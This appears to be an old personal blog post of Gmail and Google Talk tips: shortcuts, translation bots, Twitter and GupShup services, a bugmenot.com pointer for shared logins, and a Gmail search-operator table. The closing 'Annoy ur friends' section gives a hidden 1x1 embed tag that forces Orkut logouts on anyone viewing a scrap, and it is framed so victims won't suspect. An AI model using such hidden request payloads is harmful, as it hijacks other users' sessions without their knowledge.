forget mouse in gmail.

wanna some keyboard shortcuts for gmail???
just press `?` when in gmail - keyboard shorts appear..
it makes it fast to load and browse.
Have shortcuts for all functions in gmail :-D
you'll have to enable keyboard shortcuts in your setting first.
settings--> key board shortcuts on

wanna speak french?

Google can make you speak in any foreign language of your choice!

Je suis un mec français - this is french!

我是中国人 -this is chinese

Ich bin ein Kerl Deutsch - this is german

these r just samples.. if u want to spk in these languages just add those language bot to your buddy list.
to spk in french add en2fr@bot.talk.google.com to your list.
any english sentence you send you'll get the french translation for that!
similar translation code for other languages! :-
ar2en, en2ar (Arabic<->English)
bg2en (Bulgarian->English)
de2en, en2de (German<->English)
de2fr, fr2de (German<->French)
el2en, en2el (Greek<->English)
es2en, en2es (Spanish<->English)
fi2en (Finnish->English)
fr2en, en2fr (French<->English)
hi2en (Hindi->English)
hr2en (Croatian->English)
it2en, en2it (Italian<->English)
ja2en, en2ja (Japanese<->English)
ko2en, en2ko (Korean<->English)
nl2en, en2nl (Dutch<->English)
ru2en, en2ru (Russian<->English)
uk2en (Ukrainian->English)
ur2en (Urdu->English)
zh2en, en2zh (Chinese<->English)

start putting scene in ur chaaats !

twitter

What are you doing?
This is the first question everyone asks you at the start of a chat.
this service twitter answers for it on your behalf. its simple and an important advantage is you can use it in your google mail itself and no need to go to the site. (similar like webaroosms).
Just register in the site and add twitter@twitter.com to your google buddy list. Thats it. Now twitter will say you your friend's updates to you and the other way too.
here's the link http://www.twitter.com
PS. my nick name here is balkierode.

smsgupshup

Here's a free group sms service by smsgupshup. You can send msg to a group at once by forwarding your msg to the gupshup number. It costs you one national sms cost when sending through your mobile and absolutely free of cost when sent through net. where from net?? from your gmail.. Send group/private sms' the same way you chat in gmail :) Here is the link.

Join My group to receive some joke,forwards, etc.. (dont worry abt spam i post very rare)

What's GupShup?

GupShup is a free group sms service to connect with your friends and follow your passions over SMS.

GupShup enables you to:

• Send messages to a group of friends or share your thoughts with the world (learn more)
• Receive messages from friends or groups that interest you (learn more)

A few good things:

• GupShup keeps you connected and informed
  • You can enjoy your mobile lifestyle and send and receive messages on the go
  • Friends from around the world can send you messages on your mobile phone
• GupShup is free
  • You send one SMS to us, and we forward it to your group for free
  • Create an online account and send messages for absolutely no cost
• GupShup let's you express yourself
  • Tell your friends how you are feeling
  • Join groups you love or causes you support
  • Start something that you want to share with the world.

Get free logins and passwords :)

You're browsing the web and you click a link to an article on a site (let's say nytimes.com) but instead of getting the article you get a screen asking you to login or register. Infuriated at the idea of pointlessly registering for yet another site you turn to your good buddy bugmenot.com

Here in this site you can get a user ids and passwords for any site. Hence we dont need to register for any site which you think you're not going to use again.
Here is the link

Search Fast in Gmail..

Do You Know How to view only unread messages from Gmail?
type is:unread in the search box.
There are much more tricks which will minimize your search time..

Operator	Definition	Example(s)
from:	Used to specify the sender	Example - from:amy Meaning - Messages from Amy
to:	Used to specify a recipient	Example - to:david Meaning - All messages that were sent to David (by you or someone else)
subject:	Search for words in the subject line	Example - subject:dinner Meaning - Messages that have the word "dinner" in the subject
OR	Search for messages matching term A or term B* *OR must all be in capitals	Example - from:amy OR from:david Meaning - Messages from Amy or from David
- (hyphen)	Used to exclude messages from your search	Example - dinner -film Meaning - Messages that contain the word "dinner" but do not contain the word "film"
label:	Search for messages by label* *There is not a search operator for unlabelled messages	Example - from:amy label:friends Meaning - Messages from Amy that have the label "friends" Example - from:david label:my-family Meaning - Messages from David that have the label "My Family"
has:attachment	Search for messages with an attachment	Example - from:david has:attachment Meaning - Messages from David that have an attachment
filename:	Search for an attachment by name or type	Example - filename:physicshomework.txt Meaning - Messages with an attachment named "physicshomework.txt" Example - label:work filename:pdf Meaning - Messages labelled "work" that also have a PDF file as an attachment
" " (quotes)	Used to search for an exact phrase* *Capitalisation isn't taken into consideration	Example - "I'm feeling lucky" Meaning - Messages containing the phrase "I'm feeling lucky" or "I'm feeling lucky" Example - subject:"dinner and a film" Meaning - Messages containing the phrase "dinner and a film" in the subject
( )	Used to group words Used to specify terms that shouldn't be excluded	Example - from:amy(dinner OR film) Meaning - Messages from Amy that contain either the word "dinner" or the word "film" Example - subject:(dinner film) Meaning - Messages in which the subject contains both the word "dinner" and the word "film"
in:anywhere	Search for messages anywhere in your account* *Messages in Spam and Trash are excluded from searches by default	Example - in:anywhere subject:film Meaning - Messages in All Mail, Spam, and Trash that contain the word "movie"
in:inbox in:trash in:spam	Search for messages in Inbox, Trash, or Spam	Example - in:trash from:amy Meaning - Messages from Amy that are in Trash
is:starred is:unread is:read	Search for messages that are starred, unread or read	Example - is:read is:starred from:David Meaning - Messages from David that have been read and are marked with a star
cc: bcc:	Used to specify recipients in the cc: or bcc: fields* *Search on bcc: cannot retrieve messages on which you were blind carbon copied<>	Example - cc:david Meaning - Messages that were cc'd to David
after: before:	Search for messages sent during a certain period of time* *Dates must be in mm/dd/yyyy format.	Example - after:2004/04/16 before:2004/04/18 Meaning - Messages sent after April 16 2004, but before April 18 2004.* *More precisely: Messages sent on 17th April 2004.

Annoy ur friends -- "LOGOUT"

hii,
Here's a way to stop ur friends' scrap chat or kadalai.
simple..
scrap this to ur friend
<embed src="http://www.orkut.com/GLogin.aspx?cmd=logout" height="1" width="1">
This code will be invisible and you can just add any message before or after it, So that they wont suspect you...
If u want to annoy friends visiting your scrap book, Scrap urself but even you'll be logged out :)